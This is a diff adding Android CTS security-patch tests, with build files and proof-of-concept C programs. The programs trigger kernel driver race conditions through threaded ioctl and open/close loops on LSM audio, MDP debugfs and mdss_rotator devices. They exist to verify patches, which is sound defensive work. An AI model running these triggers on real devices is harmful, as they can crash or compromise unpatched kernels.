+        <option name="push" value="Bug-33452365->/data/local/tmp/Bug-33452365" />
+        <option name="push" value="CVE-2017-0451->/data/local/tmp/CVE-2017-0451" />
+        <option name="push" value="CVE-2017-0580->/data/local/tmp/CVE-2017-0580" />
+        <option name="push" value="CVE-2017-0462->/data/local/tmp/CVE-2017-0462" />
+        <option name="push" value="CVE-2017-0579->/data/local/tmp/CVE-2017-0579" />
+        <option name="push" value="CVE-2017-0577->/data/local/tmp/CVE-2017-0577" />
+        <option name="push" value="CVE-2016-10231->/data/local/tmp/CVE-2016-10231" />
+        <option name="push" value="CVE-2017-0564->/data/local/tmp/CVE-2017-0564" />
+        <option name="push" value="CVE-2017-7369->/data/local/tmp/CVE-2017-7369" />
+        <option name="push" value="CVE-2017-0576->/data/local/tmp/CVE-2017-0576" />
+        <option name="push" value="CVE-2017-0586->/data/local/tmp/CVE-2017-0586" />
+        <option name="push" value="Bug-33863407->/data/local/tmp/Bug-33863407" />
+        <option name="push" value="Bug-35047780->/data/local/tmp/Bug-35047780" />
+        <option name="push" value="Bug-35048450->/data/local/tmp/Bug-35048450" />
+        <option name="push" value="Bug-35047217->/data/local/tmp/Bug-35047217" />
+        <option name="push" value="CVE-2017-0705->/data/local/tmp/CVE-2017-0705" />
+        <option name="push" value="CVE-2017-8263->/data/local/tmp/CVE-2017-8263" />
+        <option name="push" value="CVE-2017-8265->/data/local/tmp/CVE-2017-8265" />
         <option name="append-bitness" value="true" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/Android.mk b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
new file mode 100644
index 0000000..5178058
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33452365
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33452365/poc.c b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
new file mode 100644
index 0000000..e6755a9
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33452365/poc.c
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+
+#define THREAD_NUM	600
+#define DEV "/dev/snd/pcmC0D16c"
+
+typedef _Bool bool;
+
+enum lsm_app_id {
+    LSM_VOICE_WAKEUP_APP_ID = 1,
+    LSM_VOICE_WAKEUP_APP_ID_V2 = 2,
+};
+
+enum lsm_detection_mode {
+    LSM_MODE_KEYWORD_ONLY_DETECTION = 1,
+    LSM_MODE_USER_KEYWORD_DETECTION
+};
+
+enum lsm_vw_status {
+    LSM_VOICE_WAKEUP_STATUS_RUNNING = 1,
+    LSM_VOICE_WAKEUP_STATUS_DETECTED,
+    LSM_VOICE_WAKEUP_STATUS_END_SPEECH,
+    LSM_VOICE_WAKEUP_STATUS_REJECTED
+};
+
+enum LSM_PARAM_TYPE {
+    LSM_ENDPOINT_DETECT_THRESHOLD = 0,
+    LSM_OPERATION_MODE,
+    LSM_GAIN,
+    LSM_MIN_CONFIDENCE_LEVELS,
+    LSM_REG_SND_MODEL,
+    LSM_DEREG_SND_MODEL,
+    LSM_CUSTOM_PARAMS,
+    LSM_PARAMS_MAX,
+};
+
+struct snd_lsm_ep_det_thres {
+    __u32 epd_begin;
+    __u32 epd_end;
+};
+
+struct snd_lsm_detect_mode {
+    enum lsm_detection_mode mode;
+    bool detect_failure;
+};
+
+struct snd_lsm_gain {
+    __u16 gain;
+};
+
+struct snd_lsm_sound_model_v2 {
+    __u8 __user *data;
+    __u8 *confidence_level;
+    __u32 data_size;
+    enum lsm_detection_mode detection_mode;
+    __u8 num_confidence_levels;
+    bool detect_failure;
+};
+
+struct snd_lsm_session_data {
+    enum lsm_app_id app_id;
+};
+
+struct snd_lsm_event_status {
+    __u16 status;
+    __u16 payload_size;
+    __u8 payload[0];
+};
+
+struct snd_lsm_detection_params {
+    __u8 *conf_level;
+    enum lsm_detection_mode detect_mode;
+    __u8 num_confidence_levels;
+    bool detect_failure;
+};
+
+struct lsm_params_info {
+    __u32 module_id;
+    __u32 param_id;
+    __u32 param_size;
+    __u8 __user *param_data;
+    enum LSM_PARAM_TYPE param_type;
+};
+
+struct snd_lsm_module_params {
+    __u8 __user *params;
+    __u32 num_params;
+    __u32 data_size;
+};
+
+struct snd_lsm_output_format_cfg {
+    __u8 format;
+    __u8 packing;
+    __u8 events;
+    __u8 mode;
+};
+
+#define SNDRV_LSM_DEREG_SND_MODEL _IOW('U', 0x01, int)
+#define SNDRV_LSM_EVENT_STATUS  _IOW('U', 0x02, struct snd_lsm_event_status)
+#define SNDRV_LSM_ABORT_EVENT   _IOW('U', 0x03, int)
+#define SNDRV_LSM_START     _IOW('U', 0x04, int)
+#define SNDRV_LSM_STOP      _IOW('U', 0x05, int)
+#define SNDRV_LSM_SET_SESSION_DATA _IOW('U', 0x06, struct snd_lsm_session_data)
+#define SNDRV_LSM_REG_SND_MODEL_V2 _IOW('U', 0x07,\
+                    struct snd_lsm_sound_model_v2)
+#define SNDRV_LSM_LAB_CONTROL   _IOW('U', 0x08, uint32_t)
+#define SNDRV_LSM_STOP_LAB  _IO('U', 0x09)
+#define SNDRV_LSM_SET_PARAMS    _IOW('U', 0x0A, \
+                    struct snd_lsm_detection_params)
+#define SNDRV_LSM_SET_MODULE_PARAMS _IOW('U', 0x0B, \
+                    struct snd_lsm_module_params)
+
+int fd;
+pthread_t thread_id[THREAD_NUM+1] = { 0 };
+int thread_ret[THREAD_NUM] = { 0 };
+int attack = 0;
+
+struct snd_lsm_sound_model_v2 snd_model_v2_1 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_sound_model_v2 snd_model_v2_2 = {0, 0, 0, 0, 0, 0};
+struct snd_lsm_detection_params snd_params = {0, 0, 0, 0};
+unsigned char snd_data[1024] = "abcdefghigklmnjfsljffsljflwjwfhnsdnfsnfsnfsnflnflsfls";
+unsigned char confidence_level_1[4] = "123";
+unsigned char confidence_level_2[20] = "12345678";
+
+static int set_affinity(int num)
+{
+    int ret = 0;
+    cpu_set_t mask;
+    CPU_ZERO(&mask);
+    CPU_SET(num, &mask);
+    ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+
+    return ret;
+}
+
+void* child_ioctl_0()
+{
+    set_affinity(1);
+    snd_model_v2_1.data = snd_data;
+    snd_model_v2_1.data_size = sizeof(snd_data);
+    snd_model_v2_1.confidence_level = confidence_level_1;
+    snd_model_v2_1.num_confidence_levels = strlen((const char *)confidence_level_1);
+    snd_model_v2_1.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+    snd_model_v2_1.detect_failure = 1;
+
+    while(1){
+	ioctl(fd, SNDRV_LSM_REG_SND_MODEL_V2, &snd_model_v2_1);
+    }
+}
+
+void* child_ioctl_1()
+{
+    set_affinity(2);
+    snd_model_v2_2.data = snd_data;
+    snd_model_v2_2.data_size = sizeof(snd_data);
+    snd_model_v2_2.confidence_level = confidence_level_2;
+    snd_model_v2_2.num_confidence_levels = strlen((const char *)confidence_level_2);
+    snd_model_v2_2.detection_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+    snd_model_v2_2.detect_failure = 1;
+
+    snd_params.num_confidence_levels = 20;
+    snd_params.conf_level = confidence_level_2;
+    snd_params.detect_failure = 1;
+    snd_params.detect_mode = LSM_MODE_USER_KEYWORD_DETECTION;
+
+    while(1){
+	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+	ioctl(fd, SNDRV_LSM_SET_PARAMS, &snd_params);
+    }
+}
+
+int main()
+{
+    int i, ret;
+
+    set_affinity(0);
+
+    fd = open(DEV,O_RDWR);
+    if(fd == -1){
+	return -1;
+    }
+
+    ret = ioctl(fd, SNDRV_LSM_START, 0);
+    if(ret)
+	return -1;
+
+    for(i = 0; i < 300; i = i + 2){
+	thread_ret[i] = pthread_create(thread_id + i, NULL, child_ioctl_0, NULL);
+	thread_ret[i+1] = pthread_create(thread_id + i +1, NULL, child_ioctl_1, NULL);
+    }
+
+    i = 0;
+    attack = 1;
+    while(100){
+	nanosleep((const struct timespec[]){{0, 100000}}, NULL);
+    }
+    attack = 0;
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/Android.mk b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
new file mode 100644
index 0000000..f1c32e1
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33863407/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-33863407
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-33863407/poc.c b/hostsidetests/security/securityPatch/Bug-33863407/poc.c
new file mode 100644
index 0000000..5b2c95e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-33863407/poc.c
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <string.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+#include <asm/ioctl.h>
+#include <pthread.h>
+
+#define DEBUG
+#ifdef DEBUG
+#define LOG(fmt, ...) do { \
+        printf("%s:%d: "fmt "\n", __FUNCTION__, \
+        __LINE__, ##__VA_ARGS__); \
+} while (0)
+#else
+#define LOG(fmt, ...)
+#endif
+
+char *infopath = "/sys/kernel/debug/mdp/reg";
+int fd1 = -1;
+int fd2 = -1;
+
+#define SIZE 2048
+
+void Thread1(void)
+{
+    int ret;
+    char buf[SIZE] = {0};
+    fd1 = open(infopath, O_RDWR);
+    while (1) {
+        ret = read(fd1, buf, SIZE);
+        sleep(0.1);
+    }
+    close(fd1);
+}
+
+void Thread2(void)
+{
+    int i;
+    while(1) {
+        fd2 = open(infopath, O_RDWR);
+        if(fd2 > 0)
+        {
+            close(fd2);
+            fd2 = -1;
+        }
+        sleep(0.1);
+    }
+}
+
+void trigger()
+{
+    int i, ret;
+    pthread_t tid_a;
+    pthread_t tid_b;
+
+    ret = pthread_create((pthread_t *) &tid_a, NULL, (void *) Thread1, NULL);
+    ret = pthread_create((pthread_t *) &tid_b, NULL, (void *) Thread2, NULL);
+
+    i = 200;
+    do {
+        sleep(1);
+    } while(i-- > 0);
+
+    pthread_join(tid_a, NULL);
+    pthread_join(tid_b, NULL);
+}
+
+int main()
+{
+    trigger();
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/Android.mk b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
new file mode 100644
index 0000000..cd8d541
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34328139/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-34328139
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact                                                                             
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h b/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
new file mode 100644
index 0000000..c14a36b
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34328139/local_poc.h
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __CMD_H__
+#define __CMD_H__
+
+#define _IOC_NRBITS     8
+#define _IOC_TYPEBITS   8
+
+#ifndef _IOC_SIZEBITS
+# define _IOC_SIZEBITS  14
+#endif
+
+#ifndef _IOC_DIRBITS
+# define _IOC_DIRBITS   2
+#endif
+
+#define _IOC_NRMASK     ((1 << _IOC_NRBITS)-1)
+#define _IOC_TYPEMASK   ((1 << _IOC_TYPEBITS)-1)
+#define _IOC_SIZEMASK   ((1 << _IOC_SIZEBITS)-1)
+#define _IOC_DIRMASK    ((1 << _IOC_DIRBITS)-1)
+
+#define _IOC_NRSHIFT    0
+#define _IOC_TYPESHIFT  (_IOC_NRSHIFT+_IOC_NRBITS)
+#define _IOC_SIZESHIFT  (_IOC_TYPESHIFT+_IOC_TYPEBITS)
+#define _IOC_DIRSHIFT   (_IOC_SIZESHIFT+_IOC_SIZEBITS)
+
+#ifndef _IOC_NONE
+# define _IOC_NONE      0U
+#endif
+
+#ifndef _IOC_WRITE
+# define _IOC_WRITE     1U
+#endif
+
+#ifndef _IOC_READ
+# define _IOC_READ      2U
+#endif
+
+#define _IOC_TYPECHECK(t) (sizeof(t))
+#define _IOC(dir,type,nr,size) \
+        (((dir)  << _IOC_DIRSHIFT) | \
+         ((type) << _IOC_TYPESHIFT) | \
+         ((nr)   << _IOC_NRSHIFT) | \
+         ((size) << _IOC_SIZESHIFT))
+
+
+#define _IO(type,nr)            _IOC(_IOC_NONE,(type),(nr),0)
+#define _IOR(type,nr,size)      _IOC(_IOC_READ,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOW(type,nr,size)      _IOC(_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+#define _IOWR(type,nr,size)     _IOC(_IOC_READ|_IOC_WRITE,(type),(nr),(_IOC_TYPECHECK(size)))
+
+
+
+struct mult_factor {
+	uint32_t numer;
+	uint32_t denom;
+};
+
+struct mdp_rotation_buf_info {
+	uint32_t width;
+	uint32_t height;
+	uint32_t format;
+	struct mult_factor comp_ratio;
+};
+
+struct mdp_rotation_config {
+	uint32_t	version;
+	uint32_t	session_id;
+	struct mdp_rotation_buf_info	input;
+	struct mdp_rotation_buf_info	output;
+	uint32_t	frame_rate;
+	uint32_t	flags;
+	uint32_t	reserved[6];
+};
+
+#define MDSS_ROTATOR_IOCTL_MAGIC 'w'
+
+#define MDSS_ROTATION_OPEN \
+	_IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 1, struct mdp_rotation_config *)
+
+#define MDSS_ROTATION_CONFIG \
+	_IOWR(MDSS_ROTATOR_IOCTL_MAGIC, 2, struct mdp_rotation_config *)
+
+#define MDSS_ROTATION_CLOSE	_IOW(MDSS_ROTATOR_IOCTL_MAGIC, 4, unsigned int)
+#endif
diff --git a/hostsidetests/security/securityPatch/Bug-34328139/poc.c b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
new file mode 100644
index 0000000..64337fd
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-34328139/poc.c
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <pthread.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <unistd.h>
+#include <string.h>
+#include "local_poc.h"
+
+
+int fd;
+struct mdp_rotation_config config;
+int id;
+int status[10];
+int cmd = 0;
+
+void *threadForConfig(void *arg)
+{
+    int index = (int) (unsigned long)arg;
+
+    status[index] = 1;
+
+    while (cmd != 1) {
+        usleep(10);
+    }
+    
+    if (cmd == -1)
+        goto failed;
+
+    usleep(5 * index);
+    ioctl(fd, MDSS_ROTATION_CONFIG, &config);
+failed:
+    status[index] = 2;
+    return NULL;
+
+}
+
+void *threadForClose()
+{
+    status[0] = 1;
+    
+    while (cmd != 1) {
+        usleep(10);
+    }
+
+     if (cmd == -1)
+        goto failed;
+
+    usleep(50);
+    ioctl(fd, MDSS_ROTATION_CLOSE, id);
+failed:
+    status[0] = 2;   
+    return NULL;
+}
+
+int main()
+{
+    int ret, i, count;
+    pthread_t tid[5];
+    int p = 5;    
+ 
+    count = 0;
+retry:
+    if (p-- > 0){
+        fork();
+    }
+    
+    cmd = 0;
+    for (i = 0; i < 10; i++)
+        status[i] = 0;
+    
+    fd = open("/dev/mdss_rotator", O_RDONLY, 0);
+    if (fd < 0) {
+	return -1;
+    }
+
+    ret = ioctl(fd, MDSS_ROTATION_OPEN, &config);
+    if (ret < 0) {
+	goto failed;
+    } else {
+        id = config.session_id;
+    }
+    
+    ret = pthread_create(&tid[0], NULL, threadForClose, NULL);
+    if (ret != 0) {
+        printf("thread failed! errno:%d err:%s\n",errno,strerror(errno));
+        goto failed;
+    }
+    
+    for (i = 1; i < 10; i++) {
+        ret = pthread_create(&tid[1], NULL, threadForConfig, (void *)(unsigned long)i);
+        if (ret != 0) {
+            cmd = -1;
+            goto failed;
+        }
+    }
+
+    while (status[0] != 1 || status[1] != 1 || status[2] != 1
+        || status[3] != 1 || status[4] != 1 || status[5] != 1
+        || status[6] != 1 || status[7] != 1 || status[8] != 1
+        || status[9] != 1) {
+        usleep(50);
+    }
+
+    cmd = 1;
+    usleep(10);
+    ioctl(fd, MDSS_ROTATION_CONFIG, &config);
+
+    while (status[0] != 2 || status[1] != 2 || status[2] != 2
+        || status[3] != 2 || status[4] != 2 || status[5] != 2
+        || status[6] != 2 || status[7] != 2 || status[8] != 2
+        || status[9] != 2) {
+        usleep(50);
+    }
+    
+    	
+failed:
+    close(fd);
+    printf("[pid:%d] try %d again!\n", getpid(), ++count);
+    goto retry;
+
+    return 0;	
+}
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/Android.mk b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
new file mode 100644
index 0000000..ccf6b5e
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35047217/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := Bug-35047217
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h b/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h
new file mode 100644
index 0000000..889018d
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-35047217/local_poc.h
@@ -0,0 +1,1759 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+*/
+
+#ifndef _UAPI_MSM_IPA_H_
+#define _UAPI_MSM_IPA_H_
+
+#ifndef __KERNEL__
+#include <stdint.h>
+#include <stddef.h>
+#include <sys/stat.h>
+#endif
+#include <linux/ioctl.h>
+#include <linux/types.h>
+#include <linux/if_ether.h>
+
+/**
+ * unique magic number of the IPA device
+ */
+#define IPA_IOC_MAGIC 0xCF
+
+/**
+ * name of the default routing tables for v4 and v6
+ */
+#define IPA_DFLT_RT_TBL_NAME "ipa_dflt_rt"
+
+/**
+ *   the commands supported by IPA driver
+ */
+#define IPA_IOCTL_ADD_HDR            0
+#define IPA_IOCTL_DEL_HDR            1
+#define IPA_IOCTL_ADD_RT_RULE        2
+#define IPA_IOCTL_DEL_RT_RULE        3
+#define IPA_IOCTL_ADD_FLT_RULE       4
+#define IPA_IOCTL_DEL_FLT_RULE       5
+#define IPA_IOCTL_COMMIT_HDR         6
+#define IPA_IOCTL_RESET_HDR          7
+#define IPA_IOCTL_COMMIT_RT          8
+#define IPA_IOCTL_RESET_RT           9
+#define IPA_IOCTL_COMMIT_FLT        10
+#define IPA_IOCTL_RESET_FLT         11
+#define IPA_IOCTL_DUMP              12
+#define IPA_IOCTL_GET_RT_TBL        13
+#define IPA_IOCTL_PUT_RT_TBL        14
+#define IPA_IOCTL_COPY_HDR          15
+#define IPA_IOCTL_QUERY_INTF        16
+#define IPA_IOCTL_QUERY_INTF_TX_PROPS 17
+#define IPA_IOCTL_QUERY_INTF_RX_PROPS 18
+#define IPA_IOCTL_GET_HDR           19
+#define IPA_IOCTL_PUT_HDR           20
+#define IPA_IOCTL_SET_FLT        21
+#define IPA_IOCTL_ALLOC_NAT_MEM  22
+#define IPA_IOCTL_V4_INIT_NAT    23
+#define IPA_IOCTL_NAT_DMA        24
+#define IPA_IOCTL_V4_DEL_NAT     26
+#define IPA_IOCTL_PULL_MSG       27
+#define IPA_IOCTL_GET_NAT_OFFSET 28
+#define IPA_IOCTL_RM_ADD_DEPENDENCY 29
+#define IPA_IOCTL_RM_DEL_DEPENDENCY 30
+#define IPA_IOCTL_GENERATE_FLT_EQ 31
+#define IPA_IOCTL_QUERY_INTF_EXT_PROPS 32
+#define IPA_IOCTL_QUERY_EP_MAPPING 33
+#define IPA_IOCTL_QUERY_RT_TBL_INDEX 34
+#define IPA_IOCTL_WRITE_QMAPID 35
+#define IPA_IOCTL_MDFY_FLT_RULE 36
+#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_ADD        37
+#define IPA_IOCTL_NOTIFY_WAN_UPSTREAM_ROUTE_DEL        38
+#define IPA_IOCTL_NOTIFY_WAN_EMBMS_CONNECTED        39
+#define IPA_IOCTL_ADD_HDR_PROC_CTX 40
+#define IPA_IOCTL_DEL_HDR_PROC_CTX 41
+#define IPA_IOCTL_MDFY_RT_RULE 42
+#define IPA_IOCTL_ADD_RT_RULE_AFTER 43
+#define IPA_IOCTL_ADD_FLT_RULE_AFTER 44
+#define IPA_IOCTL_GET_HW_VERSION 45
+#define IPA_IOCTL_MAX 46
+
+/**
+ * max size of the header to be inserted
+ */
+#define IPA_HDR_MAX_SIZE 64
+
+/**
+ * max size of the name of the resource (routing table, header)
+ */
+#define IPA_RESOURCE_NAME_MAX 32
+
+/**
+ * max number of interface properties
+ */
+#define IPA_NUM_PROPS_MAX 35
+
+/**
+ * size of the mac address
+ */
+#define IPA_MAC_ADDR_SIZE  6
+
+/**
+ * max number of mbim streams
+ */
+#define IPA_MBIM_MAX_STREAM_NUM 8
+
+/**
+ * the attributes of the rule (routing or filtering)
+ */
+#define IPA_FLT_TOS                        (1ul << 0)
+#define IPA_FLT_PROTOCOL                (1ul << 1)
+#define IPA_FLT_SRC_ADDR                (1ul << 2)
+#define IPA_FLT_DST_ADDR                (1ul << 3)
+#define IPA_FLT_SRC_PORT_RANGE                (1ul << 4)
+#define IPA_FLT_DST_PORT_RANGE                (1ul << 5)
+#define IPA_FLT_TYPE                        (1ul << 6)
